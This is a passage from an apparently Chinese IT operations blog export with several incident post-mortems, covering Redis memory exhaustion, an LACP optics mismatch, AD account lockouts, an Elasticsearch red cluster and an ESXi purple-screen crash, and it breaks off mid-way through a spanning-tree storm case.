mem_fragmentation_ratio:1.23 Redis 已用内存 7.81GB，最大内存限制 8GB，使用率 97.7%，几乎满了。\n关键发现：maxmemory_policy 为 noeviction，意味着当内存满时，Redis 不会主动淘汰任何键，而是直接拒绝所有写操作（包括 SET、HSET、LPUSH 等），返回 OOM 错误。\n第二步：分析内存占用\r查看 Redis 内存使用详情：\n1 redis-cli -h redis-prod-01 -p 6379 -a \u0026lt;password\u0026gt; MEMORY DOCTOR 输出提示内存碎片率正常，但总体内存占用过高。\n使用 DEBUG JMAP 或 redis-rdb-tools 分析大 Key：\n1 2 # 扫描占用内存最多的 key（生产环境谨慎使用 KEYS，使用 SCAN 替代） redis-cli -h redis-prod-01 -p 6379 -a \u0026lt;password\u0026gt; --bigkeys 发现几个异常的大 Key：\n1 2 3 Biggest string found so far \u0026#39;\u0026#34;product:detail:cache:all\u0026#34;\u0026#39; with 524288000 bytes # 500MB！ Biggest hash found so far \u0026#39;\u0026#34;user:session:hash\u0026#34;\u0026#39; with 1258291 fields Biggest list found so far \u0026#39;\u0026#34;activity:log:queue\u0026#34;\u0026#39; with 2847593 elements product:detail:cache:all 这个 Key 存储了 500MB 的数据，这是一个\u0026quot;全量商品缓存\u0026quot;，是某开发同学为了提高商品详情接口性能，将全部商品数据序列化后存入一个 Redis Key 中。\nactivity:log:queue 是一个活动日志队列，因为消费者处理不及，积压了将近 300 万条记录。\n第三步：追溯大 Key 的产生原因\r通过查看应用代码和 Redis 写入监控，发现：\nproduct:detail:cache:all：大促前夕，开发同学为了\u0026quot;预热缓存\u0026quot;，写了一个脚本把全量商品（约 5 万个商品，每个商品序列化后约 10KB）存入一个 String Key。这个 Key 在大促当天被反复覆盖写入（每次预热都覆盖一次），每次写入耗时 2-3 秒，本身就是一个隐患。\nactivity:log:queue：活动期间消费者处理速度远低于生产速度，积压数百万条未处理的日志条目，占用了大量内存。\n第四步：评估立即处理方案\r此时有几个选项：\n方案 A：调大 maxmemory（临时方案）\n风险：服务器本身可用内存只有 12GB，Redis 已用约 8GB，系统还有其他进程，不建议调太高 可临时调至 10GB，争取时间清理大 Key 方案 B：修改 maxmemory_policy 为 allkeys-lru（临时方案）\n让 Redis 自动淘汰最近最少使用的 Key 风险：可能淘汰到重要的缓存数据，但好过直接拒绝写入 方案 C：立即删除大 Key（直接处理）\n删除大 String Key，释放 500MB 空间 清空或截断积压 List 综合评估后，选择先临时调整 maxmemory_policy，再清理大 Key，最后重新评估内存上限。\n解决方案\r第一步：临时修改淘汰策略（不重启）\r1 redis-cli -h redis-prod-01 -p 6379 -a \u0026lt;password\u0026gt; CONFIG SET maxmemory-policy allkeys-lru 修改后，Redis 开始主动淘汰冷数据，写操作不再被拒绝，应用侧错误率立即下降。\n第二步：删除大 Key（避免直接 DEL，防止阻塞）\r直接 DEL 一个 500MB 的 Key 会阻塞 Redis 主线程数秒。使用异步删除：\n1 2 # Redis 4.0+ 支持 UNLINK 命令（异步删除） redis-cli -h redis-prod-01 -p 6379 -a \u0026lt;password\u0026gt; UNLINK \u0026#34;product:detail:cache:all\u0026#34; UNLINK 命令将 Key 的删除操作交给后台线程，主线程几乎无阻塞。\n第三步：截断积压 List\r1 2 # 保留最新的 10000 条，其余丢弃（或者清空） redis-cli -h redis-prod-01 -p 6379 -a \u0026lt;password\u0026gt; LTRIM \u0026#34;activity:log:queue\u0026#34; 0 9999 第四步：修正商品缓存设计\r与开发同学沟通，将\u0026quot;全量商品缓存\u0026quot;改为按商品 ID 分散存储：\n1 product:detail:{product_id} → 单个商品数据（约 10KB/key） 并设置合理的 TTL（如 1 小时），避免永不过期。\n第五步：修复消费者积压问题\r扩容消费者实例数量（从 2 个扩到 8 个），加速消耗积压队列。\n根因分析\r根本原因：缓存设计不合理 + maxmemory 策略配置错误。\n将大量数据存入单个 Redis Key，是典型的大 Key 反模式，不仅占用大量内存，还会导致网络带宽和序列化/反序列化的额外开销。\n使用 noeviction 策略对于缓存场景来说是错误选择——它适用于数据不能丢失的持久化场景（如队列），但对于普通缓存应改用 allkeys-lru 或 volatile-lru。\n没有预估大促期间的内存需求，也没有设置合理的内存告警阈值（应在 80% 时告警）。\n预防措施\r1. Redis 内存监控告警\n在 80% 使用率时告警，90% 时紧急告警，不等到 OOM 再处理。\n2. 大 Key 定期扫描\n通过 redis-cli --bigkeys 或 redis-rdb-tools 分析 RDB 文件，定期检查大 Key：\n1 2 # 分析 RDB 文件（离线分析，不影响线上） rdb --command memory dump.rdb | sort -rn -k3 | head -20 3. 禁止大 Key 设计规范\n在代码规范中明确：单个 Redis Key 的 Value 大小不超过 1MB，List/Hash/Set 的元素数量不超过 5000。\n4. 缓存淘汰策略合理化\n纯缓存场景统一使用 allkeys-lru，结合 TTL 管理数据生命周期。\n5. 生产变更前做容量评估\n大促类活动前，评估 Redis 内存峰值需求，提前扩容。\n总结\r这次事故表明，Redis 的配置和使用规范同样需要纳入代码审查流程。一个大 Key、一个错误的淘汰策略，在平时可能不显眼，但到了业务高峰期就会变成定时炸弹。\n对于 Redis 运维，除了关注可用性，还要重点关注大 Key、热 Key、内存使用率、慢查询这四个维度，建立起常态化的监控和审计机制。\n","date":"2023-02-22T15:30:00Z","permalink":"/posts/4dad391b/","title":"记一次 Redis 内存溢出、缓存服务全失效的排查"},{"content":"问题背景\r公司数据中心采用 Spine-Leaf 架构，核心层由两台华为 CE12800 组成集群，汇聚层为 CE6800，核心与汇聚之间通过 2 条 10G 光纤链路做 LACP 链路聚合，逻辑带宽 20Gbps。汇聚下联 40 台物理服务器，承载微服务集群。\n故障现象\r上午 10:00，运维监控突然发出多条告警：多个微服务实例的连接池耗尽，Nginx 日志中 upstream timed out 错误激增。服务器之间 ping 延迟从 \u0026lt;1ms 飙升到 15ms-30ms，但未出现完全断网。\n1 2 3 4 5 6 7 8 9 10 # 核心交换机上查看聚合组状态 [CE12800] display eth-trunk 10 Eth-Trunk10\u0026#39;s state information is: WorkingMode: NORMAL LAG ID: 10 Operating Status: down # 一条成员口 down！ ... Member Port Status: GigabitEthernet1/0/1: Up (Selected) GigabitEthernet1/0/2: Down (Unselected) 链路聚合组（Eth-Trunk）中 G1/0/2 状态为 Down/Unselected——20G 聚合组只剩一条链路在工作，带宽减半。业务高峰期的流量（峰值约 14Gbps）超过单链路 10Gbps 容量，导致拥塞丢包。\n排查过程\r第一步：物理层排查\r1 2 3 4 5 6 [CE12800] display interface gigabitethernet 1/0/2 GigabitEthernet1/0/2 current state: UP Line protocol current state: UP ... Last physical up time: 2023-02-05 09:58:21 # 今天刚up过 Last physical down time: 2023-02-05 09:47:15 # 9:47掉线 端口物理层 UP，光功率正常：\n1 2 3 [CE12800] display transceiver interface gigabitethernet 1/0/2 RX Power(dBM): -5.21 # 正常范围 -1 ~ -10 TX Power(dBM): -2.35 # 正常 物理层没有问题。\n第二步：检查 LACP 协商日志\r1 2 3 4 5 6 [CE12800] display lacp statistics eth-trunk 10 Port: GigabitEthernet1/0/2 LACPDUs Sent: 0 # 未发送任何LACPDU！ LACPDUs Received: 4852 Marker Sent: 0 Marker Received: 0 本端收到了对端发来的 LACPDU 包（4852 个），但本端一条 LACPDU 都没发送——说明本端压根没有启动 LACP 协商。\n1 2 3 4 5 [CE12800] display eth-trunk 10 verbose | include \u0026#34;Actor|Partner|System\u0026#34; Actor System ID: 0x8000, 00e0-fc12-3456 Partner System ID: 0x8000, 00e0-fc65-4321 Actor System Priority: 32768 Partner System Priority: 32768 对端的 System ID 是本端完全不认识的 MAC——汇聚交换机不是被换过主控板，就是这条光纤插到了另一台设备上。\n第三步：追踪物理链路\r登录汇聚交换机 CE6800 检查：\n1 2 [CE6800] display interface gigabitethernet 1/0/24 Description: TO-CORE-01-G1/0/2 光模块信息显示型号是 SFP-10G-SR（多模，850nm），但核心交换机这一端的型号是 SFP-10G-LR（单模，1310nm）。两个模块的波长和光纤类型完全不匹配！\n进一步追溯变更记录：前天晚上有人更换了 CE6800 侧的故障光模块，但使用了库存中型号不匹配的备件——应该装 SFP-10G-LR，却装了一支 SFP-10G-SR。\n两端的物理层其实都是 UP：核心端看到了 1310nm 波长的光（来自汇聚端原装 LR 模块的漏光），汇聚端看到了 850nm 波长的光（来自核心端 LR 模块的漏光），所以接口显示物理 UP，但实际上两端根本不是同步通信——只能在极低速率下看到对方的 LACPDU 包却无法正常协商。\n解决方案\r更换正确光模块：将 CE6800 侧的 SFP-10G-SR 更换为 SFP-10G-LR，接口短暂 down/up 后 LACP 自动协商成功。 验证聚合带宽： 1 2 3 4 [CE12800] display eth-trunk 10 Member Port Status: GigabitEthernet1/0/1: Up (Selected) GigabitEthernet1/0/2: Up (Selected) # 恢复 业务流量恢复，延迟回落到正常水平。 根因分析\r直接原因：备件管理中光模块型号混用——SFP-10G-SR（多模短距）替换了 SFP-10G-LR（单模长距），波长和光纤类型不匹配，导致 LACP 协商数据包只能勉强到达但无法完成协议握手。\n深层原因：\n备件仓库光模块未按型号分库存放和标识 更换流程中没有\u0026quot;更换前验证型号、更换后验证链路聚合状态\u0026quot;的标准化步骤 缺少光模块插入后的自动型号校验告警 预防措施\r光模块备件管理：所有备件按型号独立存放，标签标注类型、波长、适用场景 更换 SOP：光模块更换必须包含\u0026quot;更换前拍照记录型号 → 更换后验证 eth-trunk 状态\u0026quot;两步 交换机告警规则：新增\u0026quot;Eth-Trunk 成员口状态变更\u0026quot;告警，成员口 Down/Unselect 立即通知 光模块数字诊断：定期通过 display transceiver 收集全量光模块的型号、序列号，生成资产清单 备件定期盘点：每季度盘点光模块备件，清点型号和数量 总结\r链路聚合故障的排查往往最先关注的是协议配置、系统版本、电缆质量，很少人会第一时间想到——光模块型号。但这次就是典型的物理层欺骗：两个波长不对的光模块硬生生点亮了对方的端口状态灯（因为确实检测到了光），让运维在第一轮排查时排除了物理层故障的可能性。在数据中心环境中，光模块型号的严格管理不是矫情，是底线。\n","date":"2023-02-05T10:45:00Z","permalink":"/posts/f7f05e7d/","title":"记一次核心交换机 LACP 协商失败致带宽骤降"},{"content":"问题背景\r某周一早上 8:30 至 9:15 之间，IT 服务台接到大量来电和工单，反映内容相同：员工账号无法登录 Windows 域，提示\u0026quot;账户已被锁定\u0026quot;。涉及人数约 45 人，分布在公司多个部门。\nAD 域账号锁定策略配置为：5 次错误尝试后锁定，锁定时长 30 分钟。\n从工单创建时间来看，锁定事件集中在 8:35 - 8:50 之间。帮助台手工解锁账号后，部分用户反映十几分钟内又被锁定，说明有某个程序或设备在持续使用旧密码尝试认证。\n故障现象\r45 名员工账号显示\u0026quot;已锁定\u0026quot; 解锁后部分账号再次被锁定（约 15-20 分钟后） 锁定发生时间集中（8:35-8:50），与员工上班开机时间吻合 域控服务器安全事件日志中出现大量 Event ID 4740（账号锁定事件） 排查过程\r第一步：查看域控安全日志\r登录主域控服务器，打开事件查看器 → Windows 日志 → 安全，筛选 Event ID 4740：\n关键字段：\nSubject（主体）：域控 PDC（DC01） Account Name（被锁定账号）：各被锁定用户的 sAMAccountName Caller Computer Name（触发锁定的机器）：APP-SRV-01 所有 45 个账号的锁定来源都指向同一台机器：APP-SRV-01。\n第二步：使用 Microsoft Lockout Status 工具确认\r下载并使用微软官方工具 LockoutStatus.exe 查看账号锁定详情，可以看到锁定时间和来源 DC，进一步确认了锁定源为 APP-SRV-01。\n第三步：排查 APP-SRV-01 上的认证行为\r远程登录 APP-SRV-01（Windows Server 2019），查看安全日志中的 Event ID 4776（NTLM 认证失败）和 4625（登录失败）：\n1 2 筛选条件：事件 ID = 4625，失败原因 = 用户名或密码不正确 时间范围：08:00 - 09:00 发现从 8:33 开始，有一个账号（svc-erp，服务账号）每隔约 2-3 秒就发起一次 NTLM 认证，均以失败告终，失败原因为\u0026quot;密码不正确\u0026quot;。\n第四步：为什么 svc-erp 的认证失败会锁定其他账号？\r这里需要解释一个 Windows 认证的特殊现象：NTLM 认证时，如果用户名不正确，域控会尝试匹配用户名，匹配失败会计入域内所有同名账号的失败次数。但更直接的原因是：\n进一步查看日志，发现这台服务器上的 IIS 应用程序池的标识账号被配置为 svc-erp，且该账号的密码在上周五（1月13日）按照公司密码策略到期，IT 管理员已修改了密码，但忘记同步更新 IIS 应用程序池的密码配置。\n每当早上员工上班开机，大量浏览器访问内网 Web 应用，IIS 应用程序池启动，尝试使用旧密码进行认证，在短时间内对 svc-erp 账号发起了数百次认证失败，触发了锁定。\n那为什么会锁定其他用户？继续深查……\n第五步：发现另一个问题\r再仔细分析日志，发现 APP-SRV-01 上还有一个 Windows 计划任务，配置的运行账号是 domain\\%USERNAME% 格式的变量，但这个变量在任务运行时解析为了空字符串，导致域控在处理该空用户名认证请求时，对与请求特征相近的账号都计了一次失败（这是一个 Windows 的已知问题，见 KB2949873）。\n同时，APP-SRV-01 上还安装了一个第三方监控 Agent，该 Agent 使用了另一个服务账号 svc-monitor，密码也在同一天过期，也没有更新，同样在不停重试认证。\n综合来看，三个问题叠加造成了此次大规模账号锁定：\nIIS 应用程序池使用过期密码的 svc-erp 服务账号 计划任务账号变量解析错误 监控 Agent 使用过期密码的 svc-monitor 服务账号 解决方案\r立即处理：\n解锁所有被锁定账号（通过 PowerShell 批量解锁）： 1 2 3 # 批量解锁 AD 中所有被锁定的账号 Import-Module ActiveDirectory Search-ADAccount -LockedOut | Unlock-ADAccount -PassThru | Select-Object Name, DistinguishedName 更新 IIS 应用程序池密码： 在 APP-SRV-01 上打开 IIS 管理器 → 应用程序池 → 选择对应的应用程序池 → 高级设置 → 标识 → 更新为新密码，然后重启应用程序池。\n修复计划任务账号配置： 将计划任务的运行账号改为明确的域账号，而不是变量。\n更新监控 Agent 配置： 在 Agent 配置文件中更新 svc-monitor 的新密码，重启 Agent 服务。\n重启相关服务后，账号不再反复锁定，验证修复成功。\n长期处理：\n使用 托管服务账号（gMSA，Group Managed Service Account） 替换普通服务账号：\n1 2 3 4 5 # 创建 gMSA New-ADServiceAccount -Name \u0026#34;gMSA-ERP\u0026#34; -DNSHostName \u0026#34;app-srv-01.domain.com\u0026#34; -PrincipalsAllowedToRetrieveManagedPassword \u0026#34;APP-SRV-01$\u0026#34; # 在目标服务器上安装 gMSA Install-ADServiceAccount -Identity \u0026#34;gMSA-ERP\u0026#34; gMSA 的密码由 AD 自动管理和轮换，无需手动更新，从根本上避免服务账号密码过期问题。\n根因分析\r根本原因是服务账号密码策略管理不规范：普通域账号的密码到期策略同样应用到了服务账号上，修改密码后没有同步更新所有使用该账号的服务配置，导致服务使用旧密码反复认证，最终触发大规模账号锁定。\n预防措施\r1. 服务账号使用 gMSA 或 sMSA\n彻底解决密码手动管理问题，AD 自动轮换密码，服务不感知。\n2. 服务账号设置\u0026quot;密码永不过期\u0026quot;（次优方案）\n如果暂时无法迁移到 gMSA，可对服务账号单独设置\u0026quot;密码永不过期\u0026quot;，避免自动过期触发问题。但这属于临时方案，存在安全风险。\n3. 密码变更 SOP\n修改服务账号密码时，必须同步检查所有使用该账号的服务/应用/计划任务，逐一更新。建立服务账号使用台账，记录每个服务账号被哪些服务使用。\n4. 账号锁定告警\n在 SIEM 或监控系统中配置 Event ID 4740 告警，当锁定数量在 10 分钟内超过阈值（如 5 个以上）时立即通知运维，快速定位来源机器。\n总结\r账号批量锁定事件看起来是个用户问题，实际上根源在于服务侧的配置管理疏漏。一个看不见的服务账号在后台不停地用错误密码敲门，却殃及了数十名员工的正常工作。\n这次事件之后，我们对公司所有服务账号做了全面梳理，整理了台账，并推进了核心系统服务账号向 gMSA 的迁移。事实证明，这类\u0026quot;基础设施维护\u0026quot;的工作，往往是避免大故障的关键。\n","date":"2023-01-16T20:56:36Z","permalink":"/posts/ecb32d7f/","title":"记一次 Windows 域账号批量锁定事件的排查"},{"content":"问题背景\r公司电商平台使用 Elasticsearch 7.17 集群支撑商品搜索、订单检索和日志分析。集群由 5 个节点组成：3 个 Master 节点（兼 Data）和 2 个纯 Data 节点。索引策略为 3 主分片 + 1 副本，日均写入约 80GB 日志和 5 万条商品变更，总数据量约 2TB。\n故障现象\r下午 2:00，业务方反馈商品搜索返回空结果，App 端搜索页白屏。运维紧急登录 Kibana 检查：\n1 2 3 4 5 6 7 8 9 GET _cluster/health { \u0026#34;cluster_name\u0026#34;: \u0026#34;es-cluster-prod\u0026#34;, \u0026#34;status\u0026#34;: \u0026#34;red\u0026#34;, \u0026#34;timed_out\u0026#34;: false, \u0026#34;number_of_nodes\u0026#34;: 5, \u0026#34;unassigned_shards\u0026#34;: 17, \u0026#34;active_shards\u0026#34;: 43 } 集群状态 Red，17 个分片未分配。查看未分配分片详情：\n1 GET _cat/shards?v\u0026amp;h=index,shard,prirep,state,unassigned.reason,node 大量主分片状态为 UNASSIGNED，原因都是 ALLOCATION_FAILED。\n排查过程\r第一步：检查节点状态\r1 GET _cat/nodes?v\u0026amp;h=name,disk.used_percent,heap.percent,ram.percent,master 1 2 3 4 5 node-01 94.2% 78% 62% * node-02 96.1% 72% 55% - node-03 67.3% 65% 48% - node-04 91.8% 70% 52% - node-05 95.5% 75% 58% - node-02 磁盘使用率 96.1%，node-05 达 95.5%，已触发 ES 的磁盘水位线保护。\n第二步：理解 ES 磁盘保护机制\rES 的磁盘分配策略：\n1 2 3 cluster.routing.allocation.disk.watermark.low: 85% # 不往该节点分配新分片 cluster.routing.allocation.disk.watermark.high: 90% # 从该节点迁出已有分片 cluster.routing.allocation.disk.watermark.flood_stage: 95% # 强制只读索引 node-02 和 node-05 超过 95% flood_stage，ES 自动将这两个节点上的索引设为 read_only_allow_delete，并拒绝在这些节点上分配分片。\n1 GET _cat/indices?v\u0026amp;h=index,health,status,pri,rep products 索引的 3 个主分片恰好全部落在 node-02 和 node-05 上——副本分片在其他节点上但因为主分片不可分配，副本无法提升为主。\n第三步：磁盘空间占用分析\r1 2 3 4 5 $ du -sh /data/elasticsearch/nodes/0/indices/* | sort -rh | head -10 480G /data/elasticsearch/nodes/0/indices/logs-2022.12 320G /data/elasticsearch/nodes/0/indices/logs-2022.11 195G /data/elasticsearch/nodes/0/indices/logs-2022.10 ... 日志索引占用了绝大部分磁盘空间。ILM（Index Lifecycle Management）策略配置为保留 90 天日志，但实际检查发现策略的 delete 阶段未生效——原因是指定了不存在的快照仓库名称，导致 ILM 在 delete 阶段卡住，日志无限堆积。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 GET _ilm/policy/logs-policy { \u0026#34;logs-policy\u0026#34;: { \u0026#34;phases\u0026#34;: { \u0026#34;delete\u0026#34;: { \u0026#34;actions\u0026#34;: { \u0026#34;delete\u0026#34;: { \u0026#34;delete_searchable_snapshot\u0026#34;: true // 引用了不存在的快照仓库 } } } } } } 解决方案\r紧急恢复\r1 2 3 4 5 6 7 8 9 10 11 # 1. 临时提升磁盘水位线，允许分片分配 PUT _cluster/settings { \u0026#34;transient\u0026#34;: { \u0026#34;cluster.routing.allocation.disk.watermark.flood_stage\u0026#34;: \u0026#34;98%\u0026#34; } } # 2. 手动删除过期日志索引 DELETE logs-2022.09* DELETE logs-2022.10* 释放出约 600GB 空间后，分片自动开始重新分配，集群在 15 分钟内从 Red → Yellow，30 分钟后恢复 Green。\n修复 ILM 策略\r1 2 3 4 5 6 7 8 9 PUT _ilm/policy/logs-policy { \u0026#34;policy\u0026#34;: { \u0026#34;phases\u0026#34;: { \u0026#34;hot\u0026#34;: { \u0026#34;min_age\u0026#34;: \u0026#34;0ms\u0026#34;, \u0026#34;actions\u0026#34;: { \u0026#34;rollover\u0026#34;: { \u0026#34;max_size\u0026#34;: \u0026#34;50GB\u0026#34; } } }, \u0026#34;delete\u0026#34;: { \u0026#34;min_age\u0026#34;: \u0026#34;30d\u0026#34;, \u0026#34;actions\u0026#34;: { \u0026#34;delete\u0026#34;: {} } } } } } 去掉对不存在快照仓库的引用，改用纯 delete 操作。\n调整磁盘水位线\r1 2 3 4 5 6 7 8 PUT _cluster/settings { \u0026#34;persistent\u0026#34;: { \u0026#34;cluster.routing.allocation.disk.watermark.low\u0026#34;: \u0026#34;80%\u0026#34;, \u0026#34;cluster.routing.allocation.disk.watermark.high\u0026#34;: \u0026#34;85%\u0026#34;, \u0026#34;cluster.routing.allocation.disk.watermark.flood_stage\u0026#34;: \u0026#34;90%\u0026#34; } } 将默认的 85/90/95 收紧至 80/85/90，提早触发分片迁移。\n根因分析\r直接原因：日志索引因 ILM 策略配置错误无限堆积，导致两台 Data 节点磁盘使用率超 95%，触发 ES flood_stage 保护。恰巧关键索引 products 的主分片全落在这两台节点上，主分片被锁定无法分配，集群变 Red。\n深层原因：ILM 策略上线时未经过实际验证（引用了开发环境的快照仓库名称），且日志索引的磁盘占用缺乏独立监控。\n预防措施\r磁盘监控：每个 ES 节点磁盘使用率独立监控，\u0026gt;80% 告警 ILM 策略验证：变更 ILM 策略后通过 GET _ilm/explain 验证策略实际执行状态 日志索引独立存储：将日志数据和业务数据放在不同的磁盘/节点上 分片分配感知：确保关键索引的主分片分散在不同节点上（使用 index.routing.allocation 规则） 定期巡检：每月检查 ILM 策略执行情况和索引生命周期状态 总结\rElasticsearch 的磁盘水位线保护是合理的——磁盘满了集群直接不可用。问题是当保护机制被触发后，主分片不可分配会导致索引直接 Red。这次事故的教训是：ILM 策略不是\u0026quot;配置了就万事大吉\u0026quot;，必须定期验证它确实在删除过期数据。同时，核心业务索引应该分散主分片节点分布，避免单点灾难。\n","date":"2023-01-08T14:30:00Z","permalink":"/posts/be9e01dc/","title":"ES 集群变 Red，搜索服务怎么就不可用了？"},{"content":"问题背景\r某日凌晨 3:07，监控系统收到大量告警：生产环境中的一台 VMware ESXi 主机（HP ProLiant DL380 Gen10）突然下线，该主机上运行着 12 台虚拟机，包含 ERP 系统、OA 系统、文件服务器等关键业务系统。\n早上 8:30 运维人员到岗后发现问题，此时所有虚拟机均已强制关机，现场查看物理服务器，显示屏上出现了 VMware 的紫屏（PSOD，Purple Screen of Death），服务器处于 hung 状态，需要硬重启才能恢复。\n紫屏截图如下（关键信息记录）：\n1 2 3 4 VMware ESXi 7.0.3 (VMkernel Release Build 20842708) HP ProLiant DL380 Gen10 PCPU 12 locked up. Failed to ack TLB invalidate. 0x0000000000000000:[0x4180b22e54b3]... 故障现象\rESXi 主机出现紫屏，物理界面显示 PSOD 12 台虚拟机全部强制关机（非正常关闭） 监控系统在 3:07 开始收到该主机上所有 VM 的 ping 超时告警 vCenter 显示该主机为\u0026quot;未响应\u0026quot;状态 排查过程\r第一步：硬重启并收集 PSOD 日志\r在确认无法软恢复后，对物理服务器进行硬重启（ILO 远程管理界面操作）。\n重启后，立即从 ESXi 主机提取紫屏 dump 文件。VMware ESXi 在 PSOD 时会自动将内存转储到本地磁盘。\nSSH 连接到恢复后的 ESXi 主机：\n1 2 3 4 5 6 7 8 # 查看 VMkernel 日志目录 ls /var/core/ # 输出： # vmkernel-zdump.0 # vmkernel-zdump.1（如有多次） # 查看最新的 vmkernel 日志 cat /var/log/vmkernel.log | tail -200 关键日志片段：\n1 2 3 4 2022-09-20T03:07:12.145Z cpu12:2098226)ALERT: PCPU 12 locked up. Failed to ack TLB invalidate. 2022-09-20T03:07:12.145Z cpu12:2098226)Machine check: Bank 5, status 0xBE20000000800400 2022-09-20T03:07:12.145Z cpu12:2098226)Machine check: addr 0x0000000000000000 2022-09-20T03:07:12.146Z cpu12:2098226)NMI IPI: nmiHandler:Dump stack ... 出现了 Machine check 错误，Bank 5 对应内存控制器（Memory Controller），状态码 0xBE20000000800400 是典型的内存 ECC 错误（Uncorrected Error）。\n第二步：分析机器检查错误（MCA）\rMachine Check Architecture（MCA）是 x86 CPU 的硬件错误上报机制。Bank 5 在 Intel Xeon 平台通常对应内存通道或内存控制器。\n状态码解析（0xBE20000000800400）：\nBit 63（VAL）= 1：有效的机器检查错误 Bit 61（UC）= 1：未修正的错误（Uncorrected Error），不可纠正 Bit 57（EN）= 1：已启用错误报告 错误类型：Memory Error 这说明是 内存硬件故障，且是不可纠正的 ECC 错误，直接触发了 CPU 的机器检查中断，进而导致 VMkernel 进入紫屏。\n第三步：查看 HP ILO 日志\r通过 HP ILO（服务器硬件管理接口）查看服务器事件日志：\n登录 ILO 管理界面 → Integrated Management Log，发现在 3:06（紫屏前约 1 分钟）有如下记录：\n1 2 Uncorrectable Memory Error on Slot 0, Bank 0 / Rank 0 DIMM Location: PROC 1 DIMM 3A 明确指出了 PROC 1 DIMM 3A 这根内存条出现了不可纠正的内存错误。\n第四步：物理确认故障内存\r关机后，打开服务器，按照 ILO 日志标注的位置找到 PROC 1 DIMM 3A 插槽，将这根内存条拔出，仔细检查：\n外观：金手指有轻微氧化痕迹 运行时长：该服务器已运行约 4 年 将这根故障内存取出，其余内存条保持原位，重新上电。\n第五步：内存 Memtest 验证\r在正式上线前，使用 HPE Memory Diagnostics（通过 ILO 的 SPP 工具）对剩余内存条进行检测，结果全部通过。\n重新启动 ESXi，主机正常进入系统，无报错。\n解决方案\r立即处理：\n拔除故障内存条（PROC 1 DIMM 3A） 重启 ESXi 主机（此时总内存从 256GB 降至 240GB） 逐步启动各虚拟机，优先恢复 ERP、OA 等关键业务 向厂商提交内存条保修申请（服务器在保修期内） 虚拟机启动顺序：\n1 2 3 # 通过 vCenter 或 esxcli 启动关键 VM vim-cmd vmsvc/getallvms # 列出所有 VM 及其 VMID vim-cmd vmsvc/power.on \u0026lt;VMID\u0026gt; 恢复顺序：\nERP 数据库服务器（最高优先级） ERP 应用服务器 OA 系统 文件服务器 其他非关键系统 全部 VM 在 9:20 前恢复运行，业务中断约 6 小时（3:07 - 9:20）。\n根因分析\r根本原因：服务器内存条（PROC 1 DIMM 3A）发生硬件故障，产生了不可纠正的 ECC 错误（Uncorrected ECC Error）。\nECC 内存通常能自动纠正单 bit 错误（CE，Correctable Error），但当出现双 bit 或更多 bit 错误时，无法纠正，只能上报给 CPU，CPU 触发 Machine Check Exception（MCE），VMkernel 捕获后生成 PSOD，保护虚拟机数据完整性。\n该内存条已运行约 4 年，正处于硬件老化周期，发生故障属于正常硬件生命周期现象。\n预防措施\r1. 配置 ECC 内存可纠正错误（CE）告警\n不等到 UCE 触发宕机，在 CE 频繁出现时就主动更换内存：\n在 vCenter 中配置主机硬件健康告警，当 ECC CE 告警达到阈值时通知运维。\n2. 接入服务器硬件监控\n将 HP ILO / Dell iDRAC 等 BMC 接口接入监控系统（如 Prometheus + ipmi_exporter），实时采集内存、CPU、硬盘健康状态。\n3. 制定虚拟机启动优先级 SOP\n提前定义好各 VM 的重要程度和启动顺序，避免故障时手忙脚乱。\n4. 定期巡检服务器硬件\n每季度查看一次 ILO/iDRAC 的事件日志，对已有 CE 记录的内存条提前备件替换，不等到 UCE 再处理。\n总结\r服务器运维中，硬件故障是无法完全避免的，但可以通过完善的监控和告警机制，将影响降到最低。这次事故之所以造成 6 小时的业务中断，一方面是故障发生在凌晨，另一方面是在日常运维中没有关注到 ILO 里已经存在的 CE 告警（事后查看 ILO 日志，发现事故前两周就已经有 CE 告警，只是没有引起重视）。\n要点： ECC 的可纠正错误（CE）是 UCE 和宕机的前兆，一旦出现 CE 告警就应计划更换内存，不要等到 UCE 发生时再被动处理。\n","date":"2022-09-20T10:45:00Z","permalink":"/posts/636f1d7a/","title":"VMware ESXi 紫屏宕机：排查与恢复实录"},{"content":"问题背景\r某周三下午 14:20 左右，公司全楼约 300 名员工突然反映网络中断，表现为无法访问内网系统、互联网全部断开。影响持续约 25 分钟，直到网络恢复正常。\n公司网络架构为三层设计：核心层（H3C S7503 核心交换机 ×2，堆叠）、汇聚层（各楼层汇聚交换机）、接入层（各区域接入交换机）。出口通过核心交换机直连防火墙接入互联网。\n事故期间 IT 监控告警系统收到大量告警：核心交换机 CPU 使用率达到 100%，大量接口出现 CRC 错误。\n故障现象\r全楼用户无法访问内外网，ping 内网网关均超时 核心交换机 SSH 无法登录（CPU 负载过高导致管理面板无响应） 监控系统显示核心交换机上行接口流量在故障期间突然暴增至满带宽 各楼层汇聚交换机日志中出现大量 MAC 地址表抖动告警： 1 2 3 4 %STP-3-TOPOLOGY_CHANGE: Topology Change notification received on GigabitEthernet1/0/12 %STP-3-TOPOLOGY_CHANGE: Topology Change notification received on GigabitEthernet1/0/12 %STP-3-TOPOLOGY_CHANGE: Topology Change notification received on GigabitEthernet1/0/12 （以上日志每秒出现数十条） 核心交换机 CPU 告警日志： 1 %SYSTEM-3-CPU_OVERLOAD: CPU utilization reached 100% 排查过程\r第一步：现场快速响应\r接到告警后立即赶到机房，此时核心交换机 SSH 已经无法连接，只能通过 Console 口连接。Console 口可以登录，但响应非常慢，输入命令后需要等几秒才有回显。\n第二步：查看当前 CPU 状态\r1 2 3 \u0026lt;H3C-Core\u0026gt; display cpu-usage Slot 1: CPU Usage: 100% CPU 持续 100%，正常运维操作受阻。先查看进程占用：\n1 2 3 \u0026lt;H3C-Core\u0026gt; display process cpu Process CPU% Process Name STP 89% Spanning Tree Protocol STP 进程占用了 89% 的 CPU，几乎可以确认是生成树相关问题。\n第三步：查看 STP 状态\r1 2 3 4 5 6 \u0026lt;H3C-Core\u0026gt; display stp brief MST ID Port Role STP State Protection 0 GE1/0/1 DSGN FORWARDING NONE 0 GE1/0/2 DSGN FORWARDING NONE 0 GE1/0/12 ROOT FORWARDING NONE ... 注意到 GE1/0/12 这个接口频繁出现拓扑变更通知（TCN），正常情况下 STP 拓扑是稳定的，不应该持续触发 TCN。\n第四步：定位问题接口\r查看 GE1/0/12 接口详情：\n1 2 3 4 \u0026lt;H3C-Core\u0026gt; display interface GigabitEthernet 1/0/12 GigabitEthernet1/0/12 current state: UP Input bandwidth utilization : 99.8% Output bandwidth utilization: 99.7% 接口带宽利用率接近 100%，流量极不正常。\n查看该接口连接的设备：\n1 2 3 4 5 6 \u0026lt;H3C-Core\u0026gt; display lldp neighbor 